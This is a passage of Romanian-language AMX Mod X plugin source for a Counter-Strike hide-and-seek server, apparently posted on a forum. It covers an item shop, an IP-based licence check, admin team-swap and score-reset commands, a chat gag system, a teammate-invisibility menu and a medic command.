			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			cs_set_user_money ( id, cs_get_user_money ( id ) + 10 );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 10$^x01 !" );
		}

		case 2:
		{
			if ( count2 [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_usp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 USP 3GL^x01 !" );

			count2[id]=5;
		}

		case 3:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_usp" );

			give_item ( id, "weapon_hegrenade" );

			cs_set_user_bpammo ( id, CSW_HEGRENADE, 3 );

			new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 x3 HE + USP 2GL^x01 !" );
		}

		case 4:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );

			set_task ( 7.0, "RemoveInvis", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 7S^x01 !" );
		}

		case 5:
		{
			if ( count3 [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 M4A1^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count3 [ id ], count3 [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_m4a1" );

			new eNtry = find_ent_by_owner ( -1, "weapon_m4a1", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 M4A1 3GL^x01 !" );

			count3[id]=5;
		}

		case 6:
		{
			if ( count4 [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AK47^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count4 [ id ], count4 [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			if(user_has_weapon(id,CSW_AK47))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AK47")
				return PLUGIN_HANDLED
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_ak47" );

			new eNtry = find_ent_by_owner ( -1, "weapon_ak47", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AK47 3GL^x01 !" );

			count4[id]=5;
		}

		case 7:
		{
			if ( count [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			if(user_has_weapon(id,CSW_AWP))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
				return PLUGIN_HANDLED
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_awp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 3GL^x01 !" );

			count [ id ] = 5;
		}

		case 8:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			HaveSpeed [ id ] = true;

			Event_CurWeapon ( id );

			set_task ( 7.0, "remove_speed", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 + 300 Viteza 7S^x01 !" );
		}

		case 9:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			set_user_godmode ( id, 1 );

			set_task ( 10.0, "remove_godmode", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Godmode 10S^x01 !" );
		}

		case 10:
		{
			if ( !is_user_alive ( id ) )
			{
				if ( incercari2 [ id ] == 3 )
				{
					ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat deja^x04 Respawn^x01 de^x03 3^x01 ori !" );

					return PLUGIN_HANDLED;
				}
				else
				{
					//AlreadyChoosed [ id ] = true;

					ExecuteHamB ( Ham_CS_RoundRespawn, id );

					ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( mai ai inca^x04 %i^x01 reinvier%s )", 2 - incercari2 [ id ], incercari2 [ id ] == 1 ? "e" : "i" );

					incercari2 [ id ] += 1;

					return PLUGIN_HANDLED;
				}
			}

			else if ( is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x03 MORT^x01 ca sa cumperi^x04 RESPSAWN^x01 !" );

				return PLUGIN_HANDLED;
			}
		}
	}

	menu_destroy ( menu );
	return 0;
}

public RemoveInvis ( id )
{
	set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 255 );

	ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Acum esti dinou^x03 Vizibil^x01 !" );
}

public remove_speed ( id )
{
	if( HaveSpeed [ id ] )
	{
		HaveSpeed [ id ] = false;

		ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 + 300 Viteza^x01 !" );
	}

	if ( HaveSpeed2 [ id ] )
	{
		HaveSpeed2 [ id ] = false;

		ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 + 270 Viteza^x01 !" );
	}
}

public remove_godmode ( id )
{
	set_user_godmode ( id, 0 );

	ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 Godmode^x01 !" );
}

public Event_CurWeapon ( id )
{
	if ( HaveSpeed [ id ] )
	{
		set_user_maxspeed ( id, 300.0 );
	}

	if ( HaveSpeed2 [ id ] )
	{
		set_user_maxspeed ( id, 270.0 );
	}
}

public msgScoreAttrib(msgid, dest, id)
{
    new id = get_msg_arg_int(1);
    if( ( get_user_flags ( id ) & ADMIN_LEVEL_D ) || ( get_user_flags ( id ) & ADMIN_LEVEL_H ) || ( get_user_flags ( id ) & ADMIN_RCON ) && ( get_user_team ( id ) == 2 ))
    	set_msg_arg_int(2, ARG_BYTE, is_user_alive(id) ? (1<<2) : (1<<0));

    return PLUGIN_CONTINUE;
}

public client_disconnect ( id )
{
	AlreadyChoosed [ id ] = false;

	HaveSpeed [ id ] = false;
	HaveSpeed2 [ id ] = false;

	incercari [ id ] = 0;
	incercari1 [ id ] = 0;
	incercari2 [ id ] = 0;

	count [ id ] = 0;

	count2 [ id ] = 0;
	count3 [ id ] = 0;
	count4 [ id ] = 0;

	if ( task_exists ( id ) )
	{
		remove_task ( id );
	}
}

#pragma semicolon	1

multi chestie

Code: Select all

/* Plugin generated by AMXX-Studio */

#include < amxmodx >
#include < cstrike >
#include < fun >
#include < hamsandwich >
#include < colorchat >
#include <engine>
#include <fakemeta>
#include <amxmisc>
#include <fakemeta_util>
#include < nvault >
//#include < CC_ColorChat >

static const
ServerLicensedIp[ ] = "89.40.233.28:27015";

#if cellbits == 32
#define OFFSET_CSMONEY  115
#else
#define OFFSET_CSMONEY  140
#endif
#define OFFSET_LINUX      5

new MODE,REG_HEALTH, MAXHEALTH, COSTS,SHOUT, MESSAGE, COOLDOWN
new PlayerReload[33]

#define TAG "[HNS.PLAY-ARENA.RO]" // > HNS.

#define MAX_ENTITYS 900+15*32

new bool:g_bPlayerInvisible[33];
new bool:g_bWaterInvisible[33];

new bool:g_bWaterEntity[MAX_ENTITYS];
new bool:g_bWaterFound;

new g_iSpectatedId[33];

#define ADMIN_ACCESS ADMIN_IMMUNITY

new cvar_on, cvar_dead

new bool:g_knife[33];

#define COMMAND_ACCESS  	ADMIN_KICK // accesu adminilor pentru comanda

#if AMXX_VERSION_NUM < 183
#define MAX_PLAYERS 32
#else
#if MAX_PLAYERS != 32
#define MAX_PLAYERS 32
#endif
#endif

enum
{
	INFO_NAME,
	INFO_IP,
	INFO_AUTHID
};

new const bars[ ] = "/";

new command[ ] [ ] = 
{
	"/gag", 
	"/ungag"
};

new Caccess[ ] = 
{
	COMMAND_ACCESS,
	COMMAND_ACCESS
};

new const gGagTag[ ] = "Gag#";
new const gGagFileName[ ] = "gag_words.ini";
new const gLogFileName[ ] = "GagLog.log"; 

new const gGagThinkerClassname[ ] = "GagThinker_";
new const gGagVaultName[ ] = "GaggedPlayers";

new const gGaggedSound[ ] = "misc/gag_dat.wav";
new const gUnGaggedSound[ ] = "misc/gag_scos.wav";

new const gHalfLifeGaggedSounds[ ][ ] =
{
	"barney/youtalkmuch.wav",
	"scientist/stopasking.wav",
	"scientist/shutup.wav",
	"scientist/shutup2.wav",
	"hgrunt/silence!.wav"
};

new PlayerGagged[ MAX_PLAYERS ];
new PlayerGagTime[ MAX_PLAYERS ];
new JoinTime[ MAX_PLAYERS ];
new szName[ MAX_PLAYERS ], g_reason[ 32 ];

new g_Words[ 562 ] [ 32 ], g_Count;
new szOldName[ MAX_PLAYERS ] [ 40 ];

new gCvarSwearGagTime;
new gCvarGagMinuteLimit;
new gCvarGagMinuteInSeconds;
new gCvarAdminGag;
new gCvarTagName;
new gCvarWords;
new gCvarTag;

new gMaxPlayers;
new gVault;

public plugin_init ( )
{
	new szIp[ 25 ], szPluginName[ 32 ]; // IP>20 | 22
	get_user_ip( 0, szIp, sizeof( szIp ) -1/*, 1*/ ); // charsmax fara -1 / , 0 (cu port) in loc de sizeof
	
	if( equal( szIp, ServerLicensedIp ) ) // contain? in loc de equal
	{
		register_event ( "CurWeapon", "current_weapon", "be", "1=1" );
		
		register_clcmd( "say /invis", "menuInvisDisplay" );
		register_menucmd( register_menuid( "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" ), 1023, "menuInvisAction" );
		
		register_forward( FM_AddToFullPack, "fwdAddToFullPack_Post", 1 );
		RegisterHam( Ham_Spawn, "player", "hamSpawnPlayer_Post", 1 );
		
		register_event( "SpecHealth2", "eventSpecHealth2", "bd" );
		
		register_concmd( "amx_spec", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
		register_concmd( "amx_t", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
		register_concmd( "amx_ct", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
		
		register_clcmd("say /resetscore", "cmdReset");
		register_clcmd("say /rs", "cmdReset");
		register_clcmd("say_team /resetscore", "cmdReset");
		register_clcmd("resetscore", "cmdReset");
		
		register_concmd("amx_resetscore", "conReset", ADMIN_IMMUNITY, "- reseteaza scorul tuturor");
		
		cvar_on = register_cvar("amx_reset_plugin", "1");
		cvar_dead = register_cvar("amx_reset_dead","1");
		
		/* Register CVARs */
		MODE = register_cvar("medic_enabled","1")				/* Mode 1: On ;; Mode 0: Off */	
		REG_HEALTH = register_cvar("medic_health","50")				// How many Health you get instantly?
		
		MAXHEALTH = register_cvar("medic_maxhp","101")				// Maximal HP for everyone	
		COSTS = register_cvar("medic_costs","1")				// How many costs medic?
		SHOUT = register_cvar("medic_shout","1")				// Shout Medic if you buy medic?
		MESSAGE = register_cvar("medic_message","0")				// Write a Message if you buy medic?
		COOLDOWN = register_cvar("medic_cooldown","10")				// Cooldown-Time in Seconds
		
		/* Register Commands */
		register_clcmd("/medic","call_medic",ADMIN_ALL)
		register_clcmd("medic","call_medic",ADMIN_ALL)
		register_clcmd("say /medic","call_medic",ADMIN_ALL)
		register_clcmd("say medic","call_medic",ADMIN_ALL)
		register_clcmd("say_team /medic","call_medic",ADMIN_ALL)
		register_clcmd("say_team medic","call_medic",ADMIN_ALL)
		
		
		register_clcmd("say /knife", "no_knife")
		
		
		register_concmd( "amx_gag", "CommandGag" ); 
		register_concmd( "amx_ungag", "CommandUngag" );
		
		register_clcmd( "say", "CheckGag" );
		register_clcmd( "say_team", "CheckGag" );
		
		register_clcmd( "say", "command_chat" );
		
		GagThinker( );
		register_think( gGagThinkerClassname, "Forward_GagThinker" );
		
		gCvarSwearGagTime = register_cvar( "amx_autogag_time", "1" ); // minutele pentru gag cand ia autogag
		gCvarGagMinuteLimit = register_cvar( "amx_gag_minute_limit", "9999" ); // limita maxima pentru gag minute
		gCvarGagMinuteInSeconds = register_cvar( "amx_gag_minute_in_seconds", "60" ); // minute in secunde
		gCvarTagName = register_cvar( "amx_gag_tagname", "0" ); // pune taguri la gag
		gCvarAdminGag = register_cvar( "amx_admingag", "1" ); // poti da si la admini gag daca e egal cu 1, daca e 0 nu poti
		gCvarWords = register_cvar( "amx_maxwords", "200" ); // lista maxima de cuvinte in gag_words.ini
		gCvarTag = register_cvar( "amx_gagtag", "" ); // tag-ul din chat
		
		gMaxPlayers = get_maxplayers( );
		
		formatex( szPluginName, sizeof( szPluginName ) -1, "[>> IP Licentiat <<] M-PLG" );
		register_plugin( szPluginName, "0.0.1X", "raiz0" );
		server_print( "[ %s ] IP-ul serverului este licentiat ! Pluginul va functiona perfect !", "M-PLG" );
		server_print( "[ %s ] Pentru mai multe detalii add Y!M: [email protected] ( %s ) !", "M-PLG", "raiz0" );
		server_print( "[ %s ] IP-ul Corespunzator: %s | Ip-ul Serverului: %s | AUTHOR: %s", "M-PLG", ServerLicensedIp, szIp, "raiz0" );
	}
	
	else
	{
		formatex( szPluginName, sizeof( szPluginName ) -1, "[>> IP Nelicentiat <<] M-PLG" );
		register_plugin( szPluginName, "0.0.1X", "raiz0" );
		server_print( "[ %s ] Nu detii o licenta valabila ! Plugin-ul nu va functiona pe acest server !", "M-PLG" );
		server_print( "[ %s ] Pentru mai multe detalii add Y!M: florynboss54 ( %s ) !", "M-PLG", "raiz0" );
		server_print( "[ %s ] IP-ul Corespunzator: %s | IP-ul Serverului: %s | AUTHOR: %s", "M-PLG", ServerLicensedIp, szIp, "raiz0" );
		
		pause( "ade" );
	}
}

public plugin_precache() {
	precache_sound("medic.wav")
	
	new i;
	for( i = 0; i < sizeof gHalfLifeGaggedSounds; i++ )
	{
		precache_sound( gHalfLifeGaggedSounds[ i ] );
	}
	
	precache_sound( gGaggedSound );
	precache_sound( gUnGaggedSound );
}

public plugin_cfg( ) 
{
	new ent = -1;
	while( ( ent = find_ent_by_class( ent, "func_water" ) ) != 0 )
	{
		//       pev( ent, pev_skin ) ==  CONTENTS_WATER is also true on func_water entities
		
		if( !g_bWaterFound )
		{
			g_bWaterFound = true;
		}
		
		g_bWaterEntity[ent] = true;
	}
	
	ent = -1;
	while( ( ent = find_ent_by_class( ent, "func_illusionary" ) ) != 0 )
	{
		if( pev( ent, pev_skin ) ==  CONTENTS_WATER )
		{
			if( !g_bWaterFound )
			{
				g_bWaterFound = true;
			}
			
			g_bWaterEntity[ent] = true;
		}
	}
	
	ent = -1;
	while( ( ent = find_ent_by_class( ent, "func_conveyor" ) ) != 0 )
	{
		if( pev( ent, pev_spawnflags ) == 3 )
		{
			if( !g_bWaterFound )
			{
				g_bWaterFound = true;
			}
			
			g_bWaterEntity[ent] = true;
		}
	}
	
	
	
	static szConfigDir[ 64 ], iFile[ 64 ];
	
	get_localinfo ( "amxx_configsdir", szConfigDir, 63 );
	formatex ( iFile , charsmax( iFile ) , "%s/%s" , szConfigDir, gGagFileName );
	
	if( !file_exists( iFile ) )
	{
		write_file( iFile, "# Pune aici cuvintele jignitoare sau reclamele", -1 );
		log_to_file( gLogFileName, "Fisierul <%s> nu exista! Creez unul nou acum...", iFile );
	}
	
	new szBuffer[ 128 ];
	new szFile = fopen( iFile, "rt" );
	
	while( !feof( szFile ) )
	{
		fgets( szFile, szBuffer, charsmax( szBuffer ) );
		
		if( szBuffer[ 0 ] == '#' )
		{
			continue;
		}
		
		parse( szBuffer, g_Words[ g_Count ], sizeof g_Words[ ] - 1 );
		g_Count++;
		
		if( g_Count >= get_pcvar_num ( gCvarWords ) )
		{
			break;
		}
	}
	
	fclose( szFile );
}

public client_connect ( id )
{
	PlayerReload[id] = 0
	
	LoadGag( id );
}

public client_disconnected ( id )
{
	g_bPlayerInvisible[id] = false;
	g_bWaterInvisible[id] = false;
	g_iSpectatedId[id] = 0;
	
	PlayerReload[id] = 0
	
	g_knife[id] = false
	
	if ( PlayerGagged[ id ] == 1 )
		{	
		ColorChat( 0, RED, "^4%s^1 Jucatorul cu gag^4 %s^1(^3%s^1|^3%s^1), s-a deconectat!", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
		log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO]Jucatorul cu gag <%s><%s><%s>, s-a deconectat!", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
	}
	
	JoinTime[ id ] = 0 ;
	SaveGag( id );
}


public client_putinserver ( id )
{
//	set_task ( 7.5 , "menuInvisDisplay" , id );
	
	g_knife[id] = false
	
	if ( is_user_connected( id ) )
		{
		JoinTime[ id ] = get_systime( );
	}
}

public fwdAddToFullPack_Post( es_handle, e, ent, host, hostflags, player, pset )
{
	if( player && g_bPlayerInvisible[host] && host != ent && ent != g_iSpectatedId[host] && get_user_team(host) == get_user_team(ent) )
	{
		static const Float:corner[8][3] = 
		{
			{ -4096.0, -4096.0, -4096.0 },
			{ -4096.0, -4096.0, 4096.0 },
			{ -4096.0, 4096.0, -4096.0 },
			{ -4096.0, 4096.0, 4096.0 },
			{ 4096.0, -4096.0, -4096.0 },
			{ 4096.0, -4096.0, 4096.0 },
			{ 4096.0, 4096.0, -4096.0 },
			{ 4096.0, 4096.0, 4096.0 }
		};
		
		static const Float:map_distance = 7094.480108;
		
		static Float:origin[3];
		get_es( es_handle, ES_Origin, origin );
		
		static i;
		while( get_distance_f( origin, corner[i] ) > map_distance )
		{ 
			if( ++i >= sizeof( corner ) )
			{
				i = 0;
			}
		}
		
		set_es( es_handle, ES_Origin, corner[i] );
		set_es( es_handle, ES_Effects, get_es( es_handle, ES_Effects ) | EF_NODRAW );
	}
	else if( g_bWaterInvisible[host] && g_bWaterEntity[ent])
	{
		set_es( es_handle, ES_Effects, get_es( es_handle, ES_Effects ) | EF_NODRAW );
	}
}

public hamSpawnPlayer_Post( id )
{
	g_iSpectatedId[id] = 0;
}

public eventSpecHealth2( id )
{
	g_iSpectatedId[id] = read_data( 2 );
}

public menuInvisDisplay( id )
{
	static menu[256];
	
	new len = formatex( menu, 255, "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" );
	
	len += formatex( menu[len], 255 - len, "\r1. \yCoechipieri: \w%s^n", g_bPlayerInvisible[id] ? "invizibili" : "vizibili" );
	
	if( g_bWaterFound )
	{
		len += formatex( menu[len], 255 - len, "\r2. \yApa: \w%s^n", g_bWaterInvisible[id] ? "invizibila" : "vizibila" );
	}
	else
	{
		len += formatex( menu[len], 255 - len, "\r2. \yApa: \rNu exista pe aceasta mapa \w!^n" );
	}
	
	len += formatex( menu[len], 255 - len, "^n\r0. \yIesire" );
	
	show_menu( id, ( 1<<0 | 1<<1 | 1<<9 ), menu, -1 );
	
	return PLUGIN_HANDLED;
}

public menuInvisAction( id, key )
{
	switch( key )
	{
		case 0:
		{
			g_bPlayerInvisible[id] = !g_bPlayerInvisible[id];
			menuInvisDisplay( id );
		}
		case 1:
		{
			if( g_bWaterFound )
			{
				g_bWaterInvisible[id] = !g_bWaterInvisible[id];
			}
			
			menuInvisDisplay( id );
		}
		case 9: show_menu( id, 0, "" );
	}
}


public swap_team( id )
{
	if( !( get_user_flags( id ) & ADMIN_SLAY ) )
	{
		return PLUGIN_HANDLED
	}
	
	new szArg[ 10 ], target[ 32 ], szPlayerName[ 32 ], szAdminName[ 32 ]
	
	read_argv( 0, szArg, 9 )
	read_argv( 1, target, 31 )
	
	new player = cmd_target( id, target, 11 )
	
	if( !player )
	return PLUGIN_HANDLED
	
	get_user_name( player, szPlayerName, 31 )
	get_user_name( id, szAdminName, 31 )
	
	switch( szArg[ 4 ] )
	{
		case 't': 
		{
			if( cs_get_user_team( player ) == CS_TEAM_T )
			{
				client_print( id, print_console, "[ HnS.play-arena.Ro ] Jucatorul este deja la terroristi." )
				return PLUGIN_HANDLED
			}
			else
			{
				user_silentkill( player )
				cs_set_user_team( player, CS_TEAM_T )
				
				chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tTero!n ]", szAdminName, szPlayerName )
			}
		}
		
		case 'c': 
		{
			if( cs_get_user_team( player ) == CS_TEAM_CT )
			{
				client_print( id, print_console, "[ HnS.Play-Arena.Ro ] Jucatorul este deja la counter-terroristi." )
				return PLUGIN_HANDLED
			}
			else
			{
				user_silentkill( player )
				cs_set_user_team( player, CS_TEAM_CT )
				chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tCt!n ]", szAdminName, szPlayerName )
			}
		}
		
		case 's': 
		{
			if( cs_get_user_team( player ) == CS_TEAM_SPECTATOR )
			{
				client_print( id, print_console, "[ HnS.Play-Arena.Ro ] Jucatorul este deja la spectatori." )
				return PLUGIN_HANDLED
			}
			else
			{
				user_silentkill( player )
				cs_set_user_team( player, CS_TEAM_SPECTATOR )
				chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tSpec!n ]", szAdminName, szPlayerName )
			}
		}
	}
	
	return PLUGIN_CONTINUE
}

public cmdReset(id) {
	if(get_pcvar_num(cvar_on) == 0) {
		ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Pluginul este^3 dezactivat");
		return PLUGIN_HANDLED;
	}
	if(get_pcvar_num(cvar_dead) == 0 && !is_user_alive(id)) {
		ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Poti folosii comanda numai atunci cand esti viu.");
		return PLUGIN_HANDLED;
	}
	
	new frags = get_user_frags(id);
	new deaths = get_user_deaths(id);
	
	if(frags == 0 && deaths == 0)
	ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Scorul tau este deja^3 0");
	else {
		for(new i = 0; i < 2; i++) {
			cs_set_user_deaths(id, 0);
			set_user_frags(id, 0);
		}
		
		new name[32];
		get_user_name(id, name, 31);
		
		ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Scorul tau s-a^3 Resetat^1.");
		ColorChat(0, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^3 %s^1 si-a resetat^4 Scorul^1.", name);
	}
	return PLUGIN_HANDLED;
}

public conReset(id) {
	if(get_user_flags(id)&ADMIN_ACCESS) {
		new players[32], num, player;
		get_players(players, num, "c");
		
		for(new i = 0; i < num; i++) {
			player = players[i];
			if(get_user_frags(player) != 0 && get_user_deaths(player) != 0) {
				cs_set_user_deaths(player, 0);
				set_user_frags(player, 0);
			}
		}
		
		new name[32];
		get_user_name(id, name, 31);
		
		ColorChat(0, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^3 %s^1 a resetat^4 Scorul^3 Tuturor^1.", name);
	}
	else
	console_print(id, "Nu ai acces la aceasta comanda.");
	
	return PLUGIN_HANDLED;
}

public call_medic(id) {
	/* Mods and Stuff */
	if(get_pcvar_num(MODE) == 1 && PlayerReload[id] < time())
	{
		new ActuellHP = get_user_health(id);
		new ActuellMoney = fm_cs_get_user_money(id);
		
		if(ActuellMoney < get_pcvar_num(COSTS))
		{
			ColorChat(id,NORMAL,"^x04%s^x01 Nu ai destui bani, pentru a chema Medicul",TAG)
		}
		else
		{
			if(ActuellHP < get_pcvar_num(MAXHEALTH))
			{
				/* Shout if activated */
				/* Write message if activated */
				new playerCount, i, players[32], name[33];
				get_players(players, playerCount, "ach");
				get_user_name(id,name,32)
				
				for(i=1; i<=playerCount; i++)
				{
					if(get_user_team(id) == get_user_team(i))
					{
						if(get_pcvar_num(MESSAGE) == 1)
						{
							ColorChat(i,NORMAL,"^x04%s^x0  (^x03 RADIO^x01 ):^x04 Medic^x01 !",name)
							
							if(get_pcvar_num(SHOUT) == 1)
							{
								engfunc(EngFunc_EmitSound, i, CHAN_ITEM, "medic.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
							}
						}						
					}
					
